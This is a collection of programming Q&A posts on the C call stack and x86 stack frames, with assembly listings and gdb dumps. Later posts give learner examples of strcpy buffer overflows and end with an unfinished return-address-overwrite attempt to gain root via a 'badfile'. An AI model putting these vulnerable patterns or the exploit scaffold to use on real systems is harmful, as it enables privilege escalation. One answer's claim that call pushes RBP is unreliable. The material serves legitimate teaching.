As far as i know there are two kind of variables in C, stack variables and heap variables. Stack variables are fast and managed by compiler and CPU automatically. My question about stack variables are these:
Are stack variables really stored in a stack FILO data structure?
If so, why we can use them without poping them and losing their values?
Why stack is used for storing them? What's wrong with a dequeue or list?
You, as the programmer, don't worry about pushing or popping variables on the stack; the generated machine code handles all that for you. Every time you call a function, the program pushes items onto the hardware stack. Some of these items are data you pass to the function, but most of it is the current program state (register values, return addresses, etc.), such that the program can continue executing at the right place when the function returns.
An example may help. Take the following simple C program:
#include <stdio.h>
int afunc( int a, int b )
{
int c = a * b;
return c;
}
int main( void )
{
int x;
int y;
int z;
x = 2;
y = 3;
z = afunc( x, y );
printf( "z = %d\n", z );
return 0;
}
Compiling it with gcc 2.96 on an aging Red Hat box as follows:
gcc -o demo -g -std=c99 -pedantic -Wall -Werror -Wa,-aldh=demo.lst demo.c
gives me the following output listing:
1 .file "demo.c"
2 .version "01.01"
5 .text
6 .Ltext0:
165 .align 4
169 .globl afunc
171 afunc:
1:demo.c **** #include <stdio.h>
2:demo.c ****
3:demo.c **** int afunc( int a, int b )
4:demo.c **** {
173 .LM1:
174 .LBB2:
175 0000 55 pushl %ebp
176 0001 89E5 movl %esp, %ebp
177 0003 83EC04 subl $4, %esp
5:demo.c **** int c = a * b;
179 .LM2:
180 0006 8B4508 movl 8(%ebp), %eax
181 0009 0FAF450C imull 12(%ebp), %eax
182 000d 8945FC movl %eax, -4(%ebp)
6:demo.c **** return c;
184 .LM3:
185 0010 8B45FC movl -4(%ebp), %eax
186 0013 89C0 movl %eax, %eax
7:demo.c **** }
188 .LM4:
189 .LBE2:
190 0015 C9 leave
191 0016 C3 ret
192 .Lfe1:
197 .Lscope0:
199 .section .rodata
200 .LC0:
201 0000 7A203D20 .string "z = %d\n"
201 25640A00
202 .text
203 0017 90 .align 4
205 .globl main
207 main:
8:demo.c ****
9:demo.c **** int main( void )
10:demo.c **** {
209 .LM5:
210 .LBB3:
211 0018 55 pushl %ebp
212 0019 89E5 movl %esp, %ebp
213 001b 83EC18 subl $24, %esp
11:demo.c **** int x;
12:demo.c **** int y;
13:demo.c **** int z;
14:demo.c ****
15:demo.c **** x = 2;
215 .LM6:
216 001e C745FC02 movl $2, -4(%ebp)
216 000000
16:demo.c **** y = 3;
218 .LM7:
219 0025 C745F803 movl $3, -8(%ebp)
219 000000
17:demo.c ****
18:demo.c **** z = afunc( x, y );
221 .LM8:
222 002c 83EC08 subl $8, %esp
223 002f FF75F8 pushl -8(%ebp)
224 0032 FF75FC pushl -4(%ebp)
225 0035 E8FCFFFF call afunc
225 FF
226 003a 83C410 addl $16, %esp
227 003d 89C0 movl %eax, %eax
228 003f 8945F4 movl %eax, -12(%ebp)
19:demo.c **** printf( "z = %d\n", z );
230 .LM9:
231 0042 83EC08 subl $8, %esp
232 0045 FF75F4 pushl -12(%ebp)
233 0048 68000000 pushl $.LC0
233 00
234 004d E8FCFFFF call printf
234 FF
235 0052 83C410 addl $16, %esp
20:demo.c ****
21:demo.c **** return 0;
237 .LM10:
238 0055 B8000000 movl $0, %eax
238 00
22:demo.c **** }
240 .LM11:
241 .LBE3:
242 005a C9 leave
243 005b C3 ret
244 .Lfe2:
251 .Lscope1:
253 .text
255 .Letext:
256 .ident "GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.2 2.96-112.7.2)"
So, starting with main, we have the following lines:
211 0018 55 pushl %ebp
212 0019 89E5 movl %esp, %ebp
213 001b 83EC18 subl $24, %esp
%esp points to the top of the stack; %ebp points into the stack frame, between the local variables and function arguments. These lines save the current value of %ebp by pushing it onto the stack, then write the location of the current top of the stack to %ebp, and then advance %esp by 24 bytes (the stack grows "down", or towards decreasing addresses, on x86). Stepping through the execution of this program in a debugger on my system, we see the stack is set up as follows1:
Address 0x00 0x01 0x02 0x03
------- ---- ---- ---- ----
0xbfffd9d8 0xbf 0xff 0xda 0x18 <-- %ebp, 0xbfffda18 is the previous value
0xbfffd9d4 0x08 0x04 0x96 0x40 <-- x
0xbfffd9d0 0x08 0x04 0x95 0x40 <-- y
0xbfffd9cc 0x08 0x04 0x84 0x41 <-- z
0xbfffd9c8 0xbf 0xff 0xd9 0xe8
0xbfffd9c4 0xbf 0xff 0xda 0x44
0xbfffd9c0 0x40 0x01 0x5e 0x2c <-- %esp
Then we have the lines
216 001e C745FC02 movl $2, -4(%ebp)
and
219 0025 C745F803 movl $3, -8(%ebp)
which assign 2 and 3 to x and y, respectively. Note that these locations are referred to as offsets from %ebp. So now our stack looks like this:
Address 0x00 0x01 0x02 0x03
------- ---- ---- ---- ----
0xbfffd9d8 0xbf 0xff 0xda 0x18 <-- %ebp
0xbfffd9d4 0x00 0x00 0x00 0x02 <-- x
0xbfffd9d0 0x00 0x00 0x00 0x03 <-- y
0xbfffd9cc 0x08 0x04 0x84 0x41 <-- z
0xbfffd9c8 0xbf 0xff 0xd9 0xe8
0xbfffd9c4 0xbf 0xff 0xda 0x44
0xbfffd9c0 0x40 0x01 0x5e 0x2c <-- %esp
Now we call afunc. To do that, we first need to push the arguments x and y on the call stack:
222 002c 83EC08 subl $8, %esp
223 002f FF75F8 pushl -8(%ebp)
224 0032 FF75FC pushl -4(%ebp)
So now our stack looks like
Address 0x00 0x01 0x02 0x03
------- ---- ---- ---- ----
0xbfffd9d8 0xbf 0xff 0xda 0x18 <-- %ebp
0xbfffd9d4 0x00 0x00 0x00 0x02 <-- x
0xbfffd9d0 0x00 0x00 0x00 0x03 <-- y
0xbfffd9cc 0x08 0x04 0x84 0x41 <-- z
0xbfffd9c8 0xbf 0xff 0xd9 0xe8
0xbfffd9c4 0xbf 0xff 0xda 0x44
0xbfffd9c0 0x40 0x01 0x5e 0x2c
0xbfffd9bc 0x40 0x14 0xd7 0xf0
0xbfffd9b8 0x40 0x14 0xe8 0x38
0xbfffd9b4 0x00 0x00 0x00 0x03 <-- b
0xbfffd9b0 0x00 0x00 0x00 0x02 <-- a, %esp
Now we call afunc. First thing we do is save the current value of %ebp, then adjust our registers again:
175 0000 55 pushl %ebp
176 0001 89E5 movl %esp, %ebp
177 0003 83EC04 subl $4, %esp
Leaving us with
Address 0x00 0x01 0x02 0x03
------- ---- ---- ---- ----
0xbfffd9d8 0xbf 0xff 0xda 0x18
0xbfffd9d4 0x00 0x00 0x00 0x02 <-- x
0xbfffd9d0 0x00 0x00 0x00 0x03 <-- y
0xbfffd9cc 0x08 0x04 0x84 0x41 <-- z
0xbfffd9c8 0xbf 0xff 0xd9 0xe8
0xbfffd9c4 0xbf 0xff 0xda 0x44
0xbfffd9c0 0x40 0x01 0x5e 0x2c
0xbfffd9bc 0x40 0x14 0xd7 0xf0
0xbfffd9b8 0x40 0x14 0xe8 0x38
0xbfffd9b4 0x00 0x00 0x00 0x03 <-- b
0xbfffd9b0 0x00 0x00 0x00 0x02 <-- a
0xbfffd9ac 0x08 0x04 0x84 0x9a
0xbfffd9a8 0xbf 0xff 0xd9 0xd8 <-- %ebp
0xbfffd9a4 0x40 0x14 0xd7 0xf0 <-- c, %esp
Now we perform our computation in afunc:
180 0006 8B4508 movl 8(%ebp), %eax
181 0009 0FAF450C imull 12(%ebp), %eax
182 000d 8945FC movl %eax, -4(%ebp)
Note the offsets relative to %ebp: this time they're positive (function arguments are stored "below" %ebp, where local variables are stored "above" it). The result is then stored in c:
Address 0x00 0x01 0x02 0x03
------- ---- ---- ---- ----
0xbfffd9d8 0xbf 0xff 0xda 0x18
0xbfffd9d4 0x00 0x00 0x00 0x02 <-- x
0xbfffd9d0 0x00 0x00 0x00 0x03 <-- y
0xbfffd9cc 0x08 0x04 0x84 0x41 <-- z
0xbfffd9c8 0xbf 0xff 0xd9 0xe8
0xbfffd9c4 0xbf 0xff 0xda 0x44
0xbfffd9c0 0x40 0x01 0x5e 0x2c
0xbfffd9bc 0x40 0x14 0xd7 0xf0
0xbfffd9b8 0x40 0x14 0xe8 0x38
0xbfffd9b4 0x00 0x00 0x00 0x03 <-- b
0xbfffd9b0 0x00 0x00 0x00 0x02 <-- a
0xbfffd9ac 0x08 0x04 0x84 0x9a
0xbfffd9a8 0xbf 0xff 0xd9 0xd8 <-- %ebp
0xbfffd9a4 0x00 0x00 0x00 0x06 <-- c, %esp
Function return values are stored in the register %eax. Now we return from the function:
185 0010 8B45FC movl -4(%ebp), %eax
186 0013 89C0 movl %eax, %eax
190 0015 C9 leave
191 0016 C3 ret
When we return from the function, we pop everything off the stack back to where %esp was pointing before we entered afunc (there's some magic there, but recognize that %ebp was pointing to an address containing the old value of %ebp):
Address 0x00 0x01 0x02 0x03
------- ---- ---- ---- ----
0xbfffd9d8 0xbf 0xff 0xda 0x18 <-- %ebp
0xbfffd9d4 0x00 0x00 0x00 0x02 <-- x
0xbfffd9d0 0x00 0x00 0x00 0x03 <-- y
0xbfffd9cc 0x08 0x04 0x84 0x41 <-- z
0xbfffd9c8 0xbf 0xff 0xd9 0xe8
0xbfffd9c4 0xbf 0xff 0xda 0x44
0xbfffd9c0 0x40 0x01 0x5e 0x2c <-- %esp
And now we save the result to z:
228 003f 8945F4 movl %eax, -12(%ebp)
Leaving us with:
Address 0x00 0x01 0x02 0x03
------- ---- ---- ---- ----
0xbfffd9d8 0xbf 0xff 0xda 0x18 <-- %ebp
0xbfffd9d4 0x00 0x00 0x00 0x02 <-- x
0xbfffd9d0 0x00 0x00 0x00 0x03 <-- y
0xbfffd9cc 0x00 0x00 0x00 0x06 <-- z
0xbfffd9c8 0xbf 0xff 0xd9 0xe8
0xbfffd9c4 0xbf 0xff 0xda 0x44
0xbfffd9c0 0x40 0x01 0x5e 0x2c <-- %esp
Note that this is how things look on a particular hardware/software combination and a particular compiler; the details will vary between compilers (the latest version of gcc uses registers to pass function arguments anywhere it can, rather than pushing them on to the stack), but the general concepts will be the same. Just don't assume this is the way things are done.
1. The values stored between 0xbfffd9c4 and 0xbfffd9c8 are (most likely) not related to our code; they're just the bit patterns that were left after those memory locations were used in another operation. I think the compiler assumes a minimum amount of space for setting up the local frame.
When talking about heap and stack, stack is not the usual data structure students reimplement in 'data structures' lectures with pointers and stuff. The stack is usually just a chunk of memory that functions allocate memory for their local variables from.
Stack is pseudo-FILO: its basic element is a ''function frame'' -- a collection of all stack variables a particular function uses. Within a function frame you can access all variables you want without a performance penalty. However, you can't access variables from other functions frames without popping (i.e. returning).
The C standard does not talk about the stack of heap just automatic variables(local variables which will usually be allocated on the stack) and dynamic variables(via malloc etc... which will usually be allocated on the heap), there are also static variables too. Where automatic, dynamic and static variables are stored is implementation defined behavior.
On most modern system automatic variables will indeed be stored on a stack but for example gcc on x86 will usually just allocate space on the stack and then use offsets to access the stack as opposed to poping and pushing.
Related
This question already has an answer here:
Why does GCC allocate more stack memory than needed?
(1 answer)
Closed 8 months ago.
I'm reading Programming from the Ground Up.
pdf address: http://mirror.ossplanet.net/nongnu/pgubook/ProgrammingGroundUp-0-8.pdf
I'm curious about Page37's reserve space for local variables.
He said, we need to 2 words of memory, so move stack pointer down 2 words.
execute this instruction: subl $8, %esp
so, here, I think I'm understand.
But, I write c code to verify this reserve space.
#include <stdio.h>
int test(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12) {
printf("a1=%#x, a2=%#x, a3=%#x, a4=%#x, a5=%#x, a6=%#x, a7=%#x, a8=%#x, a9=%#x, a10=%#x, a11=%#x, a12=%#x", a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
return 0;
}
int main(void){
test(0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x10, 0x11, 0x12);
printf("Wick is me!");
return 0;
}
then, I use gcc convert to Executable file, gcc -Og -g, and use gdb debugger.
I use disass to main function, and copied some of the asm code in below.
0x000055555555519d <+0>: endbr64
0x00005555555551a1 <+4>: sub $0x8,%rsp # reserve space?
0x00005555555551a5 <+8>: pushq $0x12
0x00005555555551a7 <+10>: pushq $0x11
0x00005555555551a9 <+12>: pushq $0x10
0x00005555555551ab <+14>: pushq $0x9
0x00005555555551ad <+16>: pushq $0x8
0x00005555555551af <+18>: pushq $0x7
0x00000000000011b1 <+20>: mov $0x6,%r9d
0x00000000000011b7 <+26>: mov $0x5,%r8d
0x00000000000011bd <+32>: mov $0x4,%ecx
0x00000000000011c2 <+37>: mov $0x3,%edx
0x00000000000011c7 <+42>: mov $0x2,%esi
0x00000000000011cc <+47>: mov $0x1,%edi
0x00000000000011d1 <+52>: callq 0x1149 <test>
0x00000000000011d6 <+57>: add $0x30,%rsp
0x00000000000011da <+61>: lea 0xe89(%rip),%rsi # 0x206a
0x00000000000011e1 <+68>: mov $0x1,%edi
0x00000000000011e6 <+73>: mov $0x0,%eax
0x00000000000011eb <+78>: callq 0x1050 <__printf_chk#plt>
0x00000000000011f0 <+83>: mov $0x0,%eax
0x00000000000011f5 <+88>: add $0x8,%rsp
0x00005555555551f9 <+92>: retq
I'm dubious that this is reserve space instruction. then, I execute assembly code line by line and check content in the stack.
Why is this instruction only sub 8 byte, and 0x7fffffffe390 seems main function's return address. Should this not be reserve space?
below is rsp address nearby content. i r $rsp, x/40xb rsp address
0x7fffffffe390: 0x00 0x52 0x55 0x55 0x55 0x55 0x00 0x00 => after sub
0x7fffffffe398: 0xb3 0x20 0xdf 0xf7 0xff 0x7f 0x00 0x00 => before sub
then, I execute all pushq instruction, and use x/64xb 0x7fffffffe360.
0x7fffffffe360: 0x07 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe368: 0x08 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe370: 0x09 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe378: 0x10 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe380: 0x11 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe388: 0x12 0x00 0x00 0x00 0x00 0x00 0x00 0x00
above is local variables
==========================
0x7fffffffe390: 0x00 0x52 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffe398: 0xb3 0x20 0xdf 0xf7 0xff 0x7f 0x00 0x00
I think 0x7fffffffe390~0x7fffffffe398 is reserve space for local variables, but it no change! Is my test way wrong?
Execution environment:
GDB version: 9.2
GCC version: 9.4.0
os: x86_64 GNU/Linux
The x86-64 SysV ABI requires that stacks be 16-aligned at the time of a call.
Since a call instructions pushes an 8-byte return-address to the stack, the stack is always misaligned by 8 at the start of a function and if a nested call is to be made then the caller will need to have pushed an odd number of eight-bytes to the stack to make it 16-aligned again.
Since your function takes 12 integer arguments, 6 of which go to the stack as eight-bytes each, an extra 8-byte needs to be pushed to the stack before the stack arguments so the stack is 16-aligned before the call.
If your function took 11 arguments (or any other 6 (register arguments) +odd stack number of arguments), then no extra stack push should be needed.
Gcc and clang are still weirdly generating
sub rsp, 16 (gcc) and push rax; sub rsp, 8; (clang) for that case (https://gcc.godbolt.org/z/jGj5WPq8c). I don't understand why.
Recall that in x86_64, the call instruction does the following:
push the current value of RIP, which is the next instruction that will be executed when the function returns. (which moves RSP down in
memory - recall that in x86_64 the stack grows down, thus RBP > RSP).
push the current value of RBP, which is used to help restore the caller's stack frame. (which moves RSP down again)
move the current bottom pointer, RBP, to the current stack pointer, RSP. (effectively this creates a zero sized stack starting at where RSP is currently at)
Thus in the memory dump that you show:
0x7fffffffe390: 0x00 0x52 0x55 0x55 0x55 0x55 0x00 0x00
0x7fffffffe398: 0xb3 0x20 0xdf 0xf7 0xff 0x7f 0x00 0x00
The value at 0x7fffffffe390 is the address of the next function to be executed afer the return from main. This instruction is located at 0x0000555555555200 (remember that intel processor are little endian, so you have to read the value backwards). This memory address is consistent with the other memory values you've shown for the code.
Additionally, the bottom of the stack frame for main (RBP) is located at 0x7ffff7df20b3, which looks consistent with the other stack addresses you've shown.
As soon as the call to `main' is executed, you enter the preable of the function, which is the first three lines of the disassembly you have:
0x000055555555519d <+0>: endbr64
0x00005555555551a1 <+4>: sub $0x8,%rsp # reserve space?
0x00005555555551a5 <+8>: pushq $0x12
The second line sub $0x8, %rsp subtracts 0x8 from the stack pointer, thus forming a new stack from RBP->RSP. This space is the space reserved for local variables (and any other space that might be needed as the function executes.
Next we have a series of pushq's and mov's - and these all are doing the same thing. You need to recall that
arguments to a function are evaluated right to left, thus the last argument to test is evaluated first
the fist six arguments are passed in registers in 64-bit code, thus
a1 -> a6 are passed in the register that you see.
anything beyond six arguments are pushed on the stack, thus a7 -> a12 are pushed on the stack.
All of you arguments are literals, so there is no local variables and the values are used directly in the pushq's or mov's.
The next bit of assembly is
0x00000000000011d1 <+52>: callq 0x1149 <test>
0x00000000000011d6 <+57>: add $0x30,%rsp
0x00000000000011da <+61>: lea 0xe89(%rip),%rsi # 0x206a
0x00000000000011e1 <+68>: mov $0x1,%edi
0x00000000000011e6 <+73>: mov $0x0,%eax
In this we see the actual call to test. The next instruction is to clean up the stack. Recall that we push 6 8-byte values on the stack, causing the stack to grow downwards by 48-bytes. Adding 0x30 (48 decimal) effectively removes thos 6 values from the stack by moving RSP upward.
The next two lines are setting up the parameters that are going to be passed to printf, the next line mov $0x0, %eax is clearing the EAX, which is where the return value from a function typically goes.
The last bit of assembly (memory address have change, I suspect that this is from a second run of the code):
0x00000000000011eb <+78>: callq 0x1050 <__printf_chk#plt>
0x00000000000011f0 <+83>: mov $0x0,%eax
0x00000000000011f5 <+88>: add $0x8,%rsp
0x00005555555551f9 <+92>: retq
performs that actual call to printf, then clears the return value (printf returns an int value with the number of characters printed), and finally the add $0x8, %rsp undoes the subtraction performed on line 2 of the disassembly, effectively destroying the stack frame for main. The last line retq is the return from main.
You are correct in that sub $0x8,%rsp is reserving 8 bytes for local variables (or intermediate values). However, main does not use any local variables, so nothing is going to change.
As a test, you could add a few local variables to main:
int a = 5, b = 10, c;
c = 3*a + 2*b;
printf("Wick is me %d\n", c); // <--- note modification in this line
In this case you should see some modification to the value being subtracted from RSP in line 2. We would expect an additional 24 byte of stack space being needed, however it can be different for a few reasons
The results of the calculations 3*a' and 2*b' need to be stored somewhere -- either on the stack or in registers.
The value of a and b are literals and may be stored in registers.
The compiles might be able to deduce that 3a + 2b is a constant and perform the math at compile time, optimize away both a' and b' and just set `c' to 35.
Using -O0 or -Og as well as using -m32 (forcing code for a 32-bit processor) might remove some of these issues.
Update:
I misread -Og as -O0. With optimization on, there are several additional complications (such as how exactly GCC choses to pass arguments, whether it reserves space for locals at all or keeps these locals in a register, etc. etc.).
To understand what's going on, you should first understand the picture without optimizations.
Where is reserve space?
There are several ways to "reserve space" on stack on x86_64:
push ...
sub ...,%rsp
enter ...
There are also several ways to "unreserve" it: pop ..., add ...,%rsp, leave.
In your case, it's the pushq instruction which simultaneously puts a value into the stack slot and reserves space for that value.
You didn't show what happens just before retq, but I suspect that your "unreserve" looks something like add $68,%rsp.
P.S. You have a sequence of 0x01, 0x02 ..., 0x09, 0x10, .... Note that these are not consecutive numbers: the next number after 0x09 is 0x0a.
I made a simple C program to try understand buffer overflows. I am trying to overflow the input buffer so that flag gets changed to true and the program outputs "got here". The program is here (assume you have password.txt with hey in it):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int flag = 0;
char pwd[5];
char input[5];
FILE *f = fopen("password.txt", "r");
fscanf(f, "%s", pwd);
fclose(f);
strcpy(input, argv[1]);
if(strcmp(input, pwd)){
printf("wrong password!\n");
}
else{
flag = 1;
printf("correct password!\n");
}
if(flag){
printf("you got into the secret place\n");
}
return 0;
}
So on the stack we have something like this I guess:
[high addresses]
flag ---> 4 bytes
pwd ---> 8 bytes
input ---> 8 bytes
[low addresses]
So I think I just need to give the program just 17 bytes to overwrite the flag variable. So i gave it aaaaaaaaaaaaaaaaa but that didn't work. I had to give it a 23 times, so 23 bytes. Why is 17 bytes not enough?
Disclaimer: I used Ubuntu 14.04 with gcc version 4.8.4, and complied your
code thusly gcc -m32 -g -ansi -pedantic -Wall temp.c -o temp. Different
compilers, or different options to gcc will, in all probability, give
different results.
I also modified you code slightly to make it easier to find things,
I changed line 6 to int flag = 0x41414141;
I changed line 25 to if(flag==1){
After compilation I run the executable under GDB, with a break point set
on main. And then disassembled main (after setting disassembly-flavor to
Intel), we get:
(gdb) disass
Dump of assembler code for function main:
0x0804857d <+0>: push ebp
0x0804857e <+1>: mov ebp,esp
0x08048580 <+3>: and esp,0xfffffff0
0x08048583 <+6>: sub esp,0x30
0x08048586 <+9>: mov eax,DWORD PTR [ebp+0xc]
0x08048589 <+12>: mov DWORD PTR [esp+0xc],eax
=> 0x0804858d <+16>: mov eax,gs:0x14
0x08048593 <+22>: mov DWORD PTR [esp+0x2c],eax
0x08048597 <+26>: xor eax,eax
0x08048599 <+28>: mov DWORD PTR [esp+0x18],0x41414141
The first four lines are the prolog for main The important thing to
notice is the line sub esp,0x30 where we are setting up the
stack frame for the function. As you can see we are subtracting 48 bytes
from esp. (actually a bit more because we first aligned the stack frame
to a 16-byte boundary).
Now, we can look at where our stack frame is by looking at the values
for ESP and EBP:
(gdb) info registers esp
esp 0xffffd110 0xffffd110
(gdb) info registers ebp
ebp 0xffffd148 0xffffd148
and we can find where things are located in the stack frame;
(gdb) print &pwd
$3 = (char (*)[5]) 0xffffd132
(gdb) print &flag
$4 = (int *) 0xffffd128
(gdb) print &input
$5 = (char (*)[5]) 0xffffd137
(gdb) print &f
$6 = (FILE **) 0xffffd12c
From this we can now deduce our stack layout. This memory image is
taken after running past where the program reads the command line
argument which was the string BBBBB (recall that the ASCII code for B is 0x42, so it is easy to see a sequence of 0x42 bytes)
(gdb) x/56xb $esp
0xffffd110: 0x37 0xd1 0xff 0xff
0xffffd114: 0xbf 0xd3 0xff 0xff
0xffffd118: 0x32 0xd1 0xff 0xff
0xffffd11c: 0xe4 0xd1 0xff 0xff
0xffffd120: 0x02 0x00 0x00 0x00
0xffffd124: 0xe4 0xd1 0xff 0xff
0xffffd128: 0x41 0x41 0x41 0x41 (flag)
0xffffd12c: 0x08 0xb0 0x04 0x08 (f)
0xffffd130: 0xc4 0xf3
0xffffd132: 0x68 0x65 0x79 0x00 0xff (pwd buffer)
0xffffd137: 0x42 0x42 0x42 0x42 0x42 (input buffer)
0xffffd13c: 0x00 0xd5 0x61 0x5d
0xffffd140: 0x60 0x86 0x04 0x08
0xffffd144: 0x00 0x00 0x00 0x00
Also note, that if I set the command line argument to BBBBBBBB we have this
for the contents of our stack frame
(gdb) x/56xb $esp
0xffffd110: 0x37 0xd1 0xff 0xff 0xbc 0xd3 0xff 0xff
0xffffd118: 0x32 0xd1 0xff 0xff 0xe4 0xd1 0xff 0xff
0xffffd120: 0x02 0x00 0x00 0x00 0xe4 0xd1 0xff 0xff
0xffffd128: 0x41 0x41 0x41 0x41 0x08 0xb0 0x04 0x08
0xffffd130: 0xc4 0xf3 0x68 0x65 0x79 0x00 0xff 0x42
0xffffd138: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x00
0xffffd140: 0x60 0x86 0x04 0x08 0x00 0x00 0x00 0x00
Notice that the contents of the flag variable remains unchanged, but the contents of the now overflown input buffer moves toward the top of the stack. Recall that in x86 the stack grows downward (lower memory addresses). Also, because the buffer grows upward is why we can use a buffer overflow to over write stored EIP on the stack.
So on my system, I do not believe that it is possible to overwrite the flag variable with user input. You system might lay things out differently on the stack (you would need to do a similar exercise to verify this).
Also, note that the location of the variable on the stack does not correlate with the order that they are declared in the source file.
You can run into multiple problems when trying this.
The order of the local variable on the stack isn't necessarily in the same order as the one in the code. The compiler is free to rearrange them as he wish.
The compiler often aligns data to boundary for faster execution. This means the space between the different local variable can be much bigger than what you think. It's not uncommon to see stack variable aligned on a 8 or 16 bytes boundary even if it's content is much smaller.
You can get the disassembly of your program with objdump -D or debug it with gdb. This will give you a much better idea of the stack alignment in your program.
I made this simple password verification program, and I'm trying to overflow the buffer array to change the auth variable to 1 and i managed to do it except I can only change the auth variable to the character 1 and not the decimal 1, how can i do it?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]){
char buffer[16];
int auth=0;
strcpy(buffer, argv[1]);
if(strcmp(buffer,"password")==0)
auth=1;
else
auth=0;
if(auth)
printf("Granted");
return 0;
}
Following information is derived from runs on my Ubuntu-14.04 system using gcc version 4.8.4 as my compiler and gdb version 7.7.1 as my debugger
First, the buffer overflow happens as a result of the strcpy function, and if you overflow buf so that it overwrites the memory location of auth, but the following if-else block will overwrite your changes.
Secondly you can see what is happening by looking at the stack in a debugger. I made a slight modification to you code, by initializing auth to 0xbbbbbbbb (just so I can find here auth is located on the stack).
Setting a break point on main and stepping into the function we can examine the values of the various registers:
(gdb) info reg
rax 0x0 0
rbx 0x0 0
rcx 0x0 0
rdx 0x7fffffffdf30 140737488346928
rsi 0x7fffffffdf18 140737488346904
rdi 0x2 2
rbp 0x7fffffffde30 0x7fffffffde30
rsp 0x7fffffffddf0 0x7fffffffddf0
[... some lines removed ...]
rip 0x400652 0x400652 <main+37>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
From this we can see that the stack extends from 0x7fffffffddf0 to 0x7fffffffde30. Now stopping right before the call to strcpy, we can take a look at the stack:
(gdb) x/76xb $rsp
0x7fffffffddf0: 0x18 0xdf 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffddf8: 0x1d 0x07 0x40 0x00 0x02 0x00 0x00 0x00
0x7fffffffde00: 0x30 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffde08: 0x00 0x00 0x00 0x00 0xbb 0xbb 0xbb 0xbb
0x7fffffffde10: 0xd0 0x06 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffde18: 0x40 0x05 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffde20: 0x10 0xdf 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffde28: 0x00 0x2b 0x25 0x07 0xdd 0x7a 0xc0 0x6d
0x7fffffffde30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffde38: 0x45 0x6f 0xa3 0xf7
Looking at this, we can see that auth is located at a memory address of 0x7fffffffde0c.
I set as a command line argument passwordAAAAAAAA111, and now we can single step across the strcpy call and look at memory again:
(gdb) x/76xb $rsp
0x7fffffffddf0: 0x18 0xdf 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffddf8: 0x1d 0x07 0x40 0x00 0x02 0x00 0x00 0x00
0x7fffffffde00: 0x30 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffde08: 0x00 0x00 0x00 0x00 0xbb 0xbb 0xbb 0xbb
0x7fffffffde10: 0x70 0x61 0x73 0x73 0x77 0x6f 0x72 0x64
0x7fffffffde18: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffde20: 0x31 0x31 0x31 0x31 0x00 0x7f 0x00 0x00
0x7fffffffde28: 0x00 0x2b 0x25 0x07 0xdd 0x7a 0xc0 0x6d
0x7fffffffde30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffde38: 0x45 0x6f 0xa3 0xf7
(gdb)
From this, we can see that the value of auth has not be touched (notice the four 0xbb still in memory starting at 0x7fffffffde0c). Also we can now see where the password is stored in memory, it starts at 0x7fffffffde10. The four 'A's that I used are where the four 0x41s are and the four '1's that I used are where the four 0x31s are
So, on my system I do not see a way that you would be able to overflow into the auth variable.
Finally, the question that you originally raised, remember that the command line arguments are treated as a character array, so passing in something line AAAA1 on the command line will result in the array [0x41 0x41 0x41 0x41 0x31] being passed to your program. What you want your program to receive is actually [0x41 0x41 0x41 0x41 0x01 0x00 0x00 0x00] (assuming 32-bit, little endian architecture). There are two issues that you will face,
1. 0x01 is a non-printable character
2. 0x00 being the null terminator will stop the string input at the first null.
There is not alot you can do about the issue 2, with just a simple input; however as others have suggested the solution around issue 1 is to create a driver program that builds the input buffer the way that you want and then passes that to the program.
On windows (resp. Linux), create a bat (resp shell) file like this:
a 0123456789ABCDEFG
(a being the name of your executable)
Then, edit it with an hex editor and change the last G to 01 hex value, save.
If (I say if) you can make sure that the address of your integer value comes after the char buffer (which I could not do using my gcc, since the compiler locates its variable with an implementation-based order), run this script and you will see that the \001 char is passed at the end of first argument.
Note: there's no way at all to pass a 0 (null) character as arguments are null-terminated, so if you want to inject some data or code, you will have to do without the zero character.
I am trying to use a buffer overflow to gain access to the root user (purely for educational purposes)
I have written the following code to write the needed input to a bad file
int main(int argc, char **argv) {
char buffer[512];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 512);
/*First 20 characters for buffer*/
strcpy(buffer, "a b c d e f g h i j ");
/*Over write the next 8 characters*/
strcat(buffer, "a b c d ");
/*Overwrite return address*/
strcat(buffer, argv[1]);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 512, 1, badfile);
fclose(badfile);
}
And this is the code that should be executed by the program with root access
int bof(char *str){
char buffer[20];
/* The following allows buffer overflow */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv) {
char str[BSIZE];
FILE *badfile;
char *badfname = "badfile";
badfile = fopen(badfname, "r");
fread(str, sizeof(char), BSIZE, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
I want the input read from badfile to change the return address of bof so that it will instead return to code that I have also written into the bad file input. However I am just getting seg faults with my current code. I know that this means I am writing my new return address to the wrong part of memory but I am unsure how to find the correct place to write too.
I am running on a 32 bit Virtual Machine and have included the gdb disassemble of the second piece of code
Dump of assembler code for function main:
0x080484d6 <main+0>: lea 0x4(%esp),%ecx
0x080484da <main+4>: and $0xfffffff0,%esp
